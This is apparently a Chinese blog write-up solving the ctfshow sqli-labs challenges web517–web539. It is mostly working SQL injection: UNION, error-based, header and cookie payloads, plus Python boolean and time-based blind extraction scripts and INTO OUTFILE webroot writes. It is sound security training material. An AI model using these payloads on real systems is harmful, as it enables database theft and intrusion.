ctfshow web入门 sqli-labs（持续更新）

最新推荐文章于 2024-07-13 03:22:18 发布
最新推荐文章于 2024-07-13 03:22:18 发布
阅读量2.1k 收藏 9
点赞数
分类专栏： CTF 文章标签： mysql web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46270220/article/details/115683109
版权

文章目录

web517-1

ctfshow的sqli-labs和本地搭建最大的不同，就是show的flag不在当前的security库中，而是在另一个库ctfshow中，之前一直不知道怎么跨库查询，去现学了一手。

我们在联合查询时，用的是information_schema，这个库中有tables、columns，也有另外一个叫schemata的表，里面存储的就是数据库中所有的库名。
在这里插入图片描述
在这里插入图片描述
在schemata这个表中，列schema_name就存储的是所有数据库的库名
在这里插入图片描述
payload:

爆出库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata-- -

在这里插入图片描述
爆出表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- -

在这里插入图片描述
爆出列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'-- -

在这里插入图片描述
爆出flag字段

?id=-1' union select 1,group_concat(flag),3 from ctfshow.flag-- -

在这里插入图片描述

web518-2

第二题和第一题不同的就是第一题是'闭合的，第二题是数字型，把闭合的单引号去掉就行

payload：

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata-- -

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- -

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flagaa'-- -

?id=-1 union select 1,group_concat(flagac),3 from ctfshow.flagaa-- -

web519-3

')闭合

web520-4

")闭合

web521-5

'闭合
这题和前面四题最大的不同在于它输入了数据库中存在的数据时，只回显一个you are in.....，如果输入数据库中不存在的数据，就没有回显。很明显，是布尔盲注，可以选择自己写脚本来快速得到flag

import requests

if __name__ == '__main__':
    url = 'http://d1e86be0-6e2a-42b1-9fc6-f2382b36311a.challenge.ctf.show:8080?id=1%27and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2
            payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpuck"),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(flag33) from ctfshow.flagpuck),{i},1))>{mid},1,0)%23'
            # print(payload)
            r = requests.get(url=url + payload)
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid


        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

使用二分法是一个不错的选择。在payload中，substr()函数的作用是依次截取每一个字符，确定它们的ascii码值，然后用ascii()函数将其转换成对应的字符；如果发现有you are in....出现，则说明对应的字符ascii值大于low和high的均值，则low值变为mid+1，如果未出现，说明小于，将mid赋给high

web522-6

"闭合

import requests

if __name__ == '__main__':
    url = 'http://28c313d6-1841-4035-adab-c84443e19961.challenge.ctf.show:8080/?id=1%22and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2
            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagpa"),{i},1))>{mid},1,0)%23'
            payload = f'if(ascii(substr((select group_concat(flag3a3) from ctfshow.flagpa),{i},1))>{mid},1,0)%23'
            # print(payload)
            r = requests.get(url=url + payload)
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid


        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

web523-7

'))闭合
这题的hint是要写文件，一开始，我想到写马进去，但是flag是在数据库中的，所以这个方法不可行，后来想到可以把库名、表名啥的写进去，然后访问。

payload：

?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/1.txt"-- -

在这里插入图片描述

?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/2.txt"-- -

在这里插入图片描述

?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/3.txt"-- -

在这里插入图片描述

web524-8

import requests

if __name__ == '__main__':
    url = 'http://c72dc775-84d8-47c9-ac8b-de8ef204158e.challenge.ctf.show:8080/?id=1%27and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagjugg"),{i},1))>{mid},1,0)%23'
            payload = f'if(ascii(substr((select group_concat(flag423) from ctfshow.flagjugg),{i},1))>{mid},1,0)%23'
            # print(payload)
            r = requests.get(url=url + payload)

            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid


        if low != 32:
            result += chr(low)
        else:
            break

        print(result)

web525-9

这题无论输入什么，都会显示you are in....，那么就可以使用时间盲注，通过sleep()函数，如果正确就睡几秒，错误就立即加载页面，也是可以写一个脚本去跑。
'闭合

import requests

if __name__ == '__main__':
    url = 'http://8fe3d6cd-1e9a-4466-a20d-4588602016c7.challenge.ctf.show:8080/?id=1%27and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.1),0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.1),0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagug"),{i},1))>{mid},sleep(0.1),0)%23'
            payload = f'if(ascii(substr((select group_concat(flag4a23) from ctfshow.flagug),{i},1))>{mid},sleep(0.2),0)%23'
            # print(payload)
            r = requests.get(url=url + payload)

            try:
                r = requests.get(url=url + payload, timeout=0.15)  # 0.15s内必须返回结果，然后执行下面的语句，如果0.15s还没有结果，则执行except的内容
                high = mid
            except:
                low = mid + 1

        if low != 32:
            result += chr(low)
        else:
            break

        print(result)

脚本中使用了一个异常处理try....except，0.15s内必须返回结果，然后执行下面的语句，如果0.15s还没有结果，则执行except的内容。

web526-10

"闭合

import requests

if __name__ == '__main__':
    url = 'http://f01b14ad-1ed5-4eff-aa62-b5c6fedf01ec.challenge.ctf.show:8080/?id=1%22and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagugs"),{i},1))>{mid},sleep(0.2),0)%23'
            payload = f'if(ascii(substr((select group_concat(flag43s) from ctfshow.flagugs),{i},1))>{mid},sleep(0.2),0)%23'

            r = requests.get(url=url + payload)

            try:
                r = requests.get(url=url + payload, timeout=0.15)  # 0.15s内必须返回结果，然后执行下面的语句，如果0.15s还没有结果，则执行except的内容
                high = mid
            except:
                low = mid + 1

        if low != 32:
            result += chr(low)
        else:
            break

        print(result)

web527-11

这题是在登录框的用户名处进行post注入

payload:

uname=aadmin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#&passwd=1

uname=aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_name='flagugsd'#&passwd=1

uname=aadmin' union select 1,group_concat(flag43s) from ctfshow.flagugsd#&passwd=1

web528-12

")闭合

web529-13

')闭合
这题没有回显，但是如果注入成功，会有一个flag.jpg的图片，注入失败，会有slap.jpg的图片，可以利用这个来进行布尔盲注

import requests

if __name__ == '__main__':
    url = 'http://9301abaf-d8ee-4cc9-a060-6aad4a35035b.challenge.ctf.show:8080'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2

            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),{i},1))>{mid},1,0)'
            payload = f'if(ascii(substr((select group_concat(flag4) from ctfshow.flag),{i},1))>{mid},1,0)'
            # print(payload)
            data = {
                'uname': f"admin') and {payload}#",
                'passwd': '123'
            }
            # print(data['uname'])
            r = requests.post(url=url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid

        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

web530-14

"闭合

import requests

if __name__ == '__main__':
    url = 'http://240d4931-ff0b-405b-a741-91f392e537cd.challenge.ctf.show:8080/'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2

            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagb"),{i},1))>{mid},1,0)'
            payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flagb),{i},1))>{mid},1,0)'
            # print(payload)
            data = {
                'uname': f'admin" and {payload}#',
                'passwd': '123'
            }
            # print(data['uname'])
            r = requests.post(url=url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid

        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

web531-15

把报错关了，手动试出'闭合

import requests

if __name__ == '__main__':
    url = 'http://a70f0c66-19e8-497f-87d7-fdcf275647fa.challenge.ctf.show:8080/'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2

            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagba"),{i},1))>{mid},1,0)'
            payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagba),{i},1))>{mid},1,0)'
            # print(payload)
            data = {
                'uname': f"admin' and {payload}#",
                'passwd': '123'
            }
            # print(data['uname'])
            r = requests.post(url=url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid

        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

web532-16

这题是时间盲注，因为无论正不正确，下面的图片都是fail，利用sleep()函数手动试出是")闭合

import requests

if __name__ == '__main__':
    url = 'http://59b43bf0-9578-454a-a79c-dc89b97ca7ae.challenge.ctf.show:8080/'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2

            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagbab"),{i},1))>{mid},sleep(0.2),0)'
            payload = f'if(ascii(substr((select group_concat(flag4sa) from ctfshow.flagbab),{i},1))>{mid},sleep(1),0)'
            # print(payload)
            data = {
                'uname': f'admin") and {payload}#',
                'passwd': '123'
            }
            # print(data['uname'])
            try:
                r = requests.post(url=url, data=data, timeout=0.5)
                high = mid
            except:
                low = mid + 1

        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

web533-17

好像只剩下报错注入了

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)-- -

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='flag'),0x7e),1)-- -

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select (flag4) from ctfshow.flag),0x7e),1)-- -
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e),1)-- -

web534-18

网页上显示出来一个ip，在提交登录请求后会显示出ua头，那么很可能是ua注入，修改user-agent即可

payload：

' and updatexml(1,concat(0x7e,(select(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1) and '1'='1

' and updatexml(1,concat(0x7e,(select(column_name) from information_schema.columns where table_name='flag'  limit 1,1),0x7e),1) and '1'='1

' and updatexml(1,concat(0x7e,(select(flag4) from ctfshow.flag),0x7e),1) and '1'='1

' and updatexml(1,concat(0x7e,(select right (flag4,20) from ctfshow.flag),0x7e),1) and '1'='1

web535-19

提交post请求后会出现referer头，说明这题是referer注入
'闭合

payload：

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),0x7e)) and '1'='1

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"),0x7e)) and '1'='1

' and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e)) and '1'='1

' and extractvalue(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e)) and '1'='1

web536-20

cookie注入
'闭合

payload：

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e))-- -

 uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))-- -

uname=admin' and extractvalue(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e))-- -

web537-21

在上一题的基础上多了个base64编码
')闭合

payload：

uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nY3Rmc2hvdycpLDB4N2UpKS0tIC0N

uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nZmxhZycpLDB4N2UpKS0tIC0N

uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZzQpIGZyb20gY3Rmc2hvdy5mbGFnKSwweDdlKSktLSAtDQ==

uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCByaWdodChmbGFnNCwyMCkgZnJvbSBjdGZzaG93LmZsYWcpLDB4N2UpKS0tIC0N

web538-22

"闭合

uname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdjdGZzaG93JyksMHg3ZSkpLS0gLQ==

uname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdmbGFnJyksMHg3ZSkpLS0gLQ==

uname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHJpZ2h0KGZsYWc0LDIwKSBmcm9tIGN0ZnNob3cuZmxhZyksMHg3ZSkpLS0gLQ==

web539-23

这题首先用?id=1'，发现有语法问题，而?id=1''，则有回显，一开始我以为是"闭合，后来发现不对，想到有两个'需要闭合，用?id=1' and 1='1测试有回显，而?id=1' and 1='0无回显，说明分析正确

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),'3

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),'3

?id=-1' union select 1,(select group_concat(flag4) from ctfshow.flag),'3
Lum1n0us
关注
专栏目录
CTFshow-sqli-labs
Leo8283的博客
04-20 715
CTFshow sql-labs刷题记录 1-4 分别用’、"、’)、")闭合，通过联合查询语句union获取flag。由于当前调用的库非存放flag的库，可以用手注，通过元数据库information_schema.schemata表（查找所有库名），information_schema.tables表(查找所有表名)，information_schema.columns表查找列名，获取flag最终的位置。 查询所有数据库 union select 1,group_concat(schema_name),
ctfshow-sqli-libs笔记(web517-web539)
Yasso的博客
09-08 630
> 好久没做基础的sql注入题了,平台上发现sqli-libs，网课无聊打一下 发布后自动把我的单引号改成了中文格式,不知道为啥 web517 {字符型注入-联合查询} id=1’ and 1=1–+ 正常回显 id=1’ and 1=2–+ 异常回显 id=0’ order by 3–+ 查询字段数为3 id=0’ union select 1,2,database()–+ 爆出当前数据库为security—真正flag在ctfshow数据库里… id=0’ union select 1
CTFshow_web入门_sqli-labs
weixin_43896504的博客
07-21 217
SQL注入labs
CTFshow_sqli-labs_全关卡万字通关笔记
最新发布
dasdasdasvsdV的博客
07-13 131
使用order by 二分法（10-5-3）判断出数据仅存在三列。使用unionselect+id=-1判断出有回显可以利用。第二第三个位置可以使用。
CTFshow——sqli-labs
D.MIND 的博客
04-10 1306
草率地记录一下 1——字符型 id=-1' union select 1,database(),(select group_concat(flag) from ctfshow.flag )-- - 2——数字型 ?id=-1 union select 1,database(),(select group_concat(flagac) from ctfshow.flagaa )-- - (select group_concat(table_name) from information_schema.ta
[CTFSHOW]sqli-labs
Y4tacker的博客
04-08 1738
文章目录前言web517web518web519web520web521web522web523web524web525web526web527web528web529web530web531web532web533web534web535web536web537web538web539web540 前言 由于都是简单题就随便写了，SQL注入不懂的百度先学最基本的吧 web517 注意flag不在当前security里 union select group_concat(schema_name) from
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs(php7.3以上可运行)
01-29
sqli-labs提供了多种级别的SQL注入练习，适合初学者到高级安全专家。每个级别都设计了一个具有不同安全漏洞的Web应用，用户可以通过尝试注入SQL语句来解密问题，从而深入理解SQL注入的各种技术和防御策略。 三、PHP...
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
windows环境下安装sqli-labs
11-04
Windows 环境下安装 sqli-labs 详细教程 Windows Server 2012 环境下安装 sqli-labs 需要具备一定的基础知识和环境准备。在这里，我们将详细介绍如何在 Windows Server 2012 环境下安装 sqli-labs。 环境准备 在...
jeakinscheung-sqli-labs-php7-master.zip
03-16
标题 "jeakinscheung-sqli-labs-php7-master.zip" 暗示这是一个关于SQL注入（SQL Injection）练习平台的源代码库，专为PHP7优化。在描述中提到，用户在尝试创建数据库连接时遇到问题，可能是因为原始的SQL注入实验室...
ctfshow sqlib
blowed的博客
05-16 239
目标： 学sqlmap的使用方法，以及编写脚本 sqlmap用法大全：Usage · sqlmapproject/sqlmap Wiki · GitHub 1-9 python sqlmap.py -u "http://86f7cecd-a3fe-42ff-86e7-ac458123807d.challenge.ctf.show/?id=1" --batch --banner --batch 不需要用户输入，使用默认行为 --banner 判断DBMS的指纹 ​ python sqlmap...
CTFSHOW SQL注入篇（231-253）
羽的博客
06-11 1834
CTFSHOW SQL注入篇
CTF之Sqli-Labs题目解析（1-11题）
a690135443的博客
06-14 1324
第一题 提示输入numeric类型的ID作为参数，尝试在url后添加?id=1查看，发现有显示。 改为?id=-1后无显示，也无报错，于是可以考虑-1空出位置后加union select爆数据。 改为?id=1'单引号报错，双引号不报错，可以推断出使用单引号闭合，加上注释之后，错误也消失了，所以可以在这个时候union select了。 然后添加order by语句，?id=1' order by 4 --+，当order by 4的时候报错，所以一共有3个字段。 然后使用unio
SQLi-LABS（1~10关详解）
CTF小白的博客
09-22 6585
目录SQLi-LABS Less-1查看题目环境测试注入点SQL注入查找列数查询数据库查询数据库中的表查表中的字段查数据SQLi-LABS Less-2查看题目环境测试注入点SQL注入查找列数查询数据库查询数据库中的表查表中的字段查数据SQLi-LABS Less-3查看题目环境测试注入点SQL注入查找列数查询数据库查询数据库中的表查表中的字段查数据SQLi-LABS Less-4查看题目环境测试...
CTFHub闯关之SQL注入
m0_60716947的博客
05-01 3507
CTF（Capture The Flag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCON CTF也成为了全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的“世界杯” 。 CTFHub 地址：CTFHub CTF.
Ctfshow web入门 sqli-labs篇 web517-web568 详细题解 全
Jay17的博客
07-30 1175
Ctfshow web入门 sqli-labs篇 web517-web568 详细题解 详细 详细 详细 真的详细
CTFshow web入门 web517-web568 sql注入 sqli-labs闯关挑战
qq_56815564的博客
07-12 1345
本来是这个是网上流传的，就是对应是sql注入漏洞的题，因为看在ctfshow里面直接有现成的题目可以做，就没有自己搭着去看了，对应了ctfshow里面的最近因为在看top10嘛就前面先看了一下，然后中间去看别的漏洞了，现在才搞完，所以肯定如果发现某个地方开始讲得很快了，应该就是隔了几天再做的另外的话我是对于，这样更方便了解一题的考点是什么，当然，由于我是做的ctfshow里面的题，也就代表，要想了解具体的话还是建议自己搭一个。
sql-labs1
Braindance
02-28 340
前言 在线靶机地址：https://buuoj.cn/challenges#sqli-labs less-1 ​ 首先说明sql注入的大致步骤： 判断注入类型。如整型字符型注入等。 判断列数 判断数据的回显位 构造sql语句 ​ 根据题目提示，说明是一个单引号注入题目，构造一个带单引号的语句?id=1'，发现数据库报错 ​ 通过后面的报错语句1'' LIMIT 0,1的分析，我们的单引号被数据库解析，那么说明我们也可以使用连接查询union插入我们想要查询的语句。 ​ 推出数据库的查询的部分语句可能.
SQLi-Labs靶场安装教程：PHPStudy与MySQL配置
"sqli-labs-master靶场安装下载" 本文将详细介绍如何在本地环境中安装和配置sqli-labs靶场，该靶场用于学习和实践SQL注入攻击的防御技巧。sqli-labs是一个非常实用的在线安全训练平台，适合初学者熟悉SQL注入漏洞的...
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值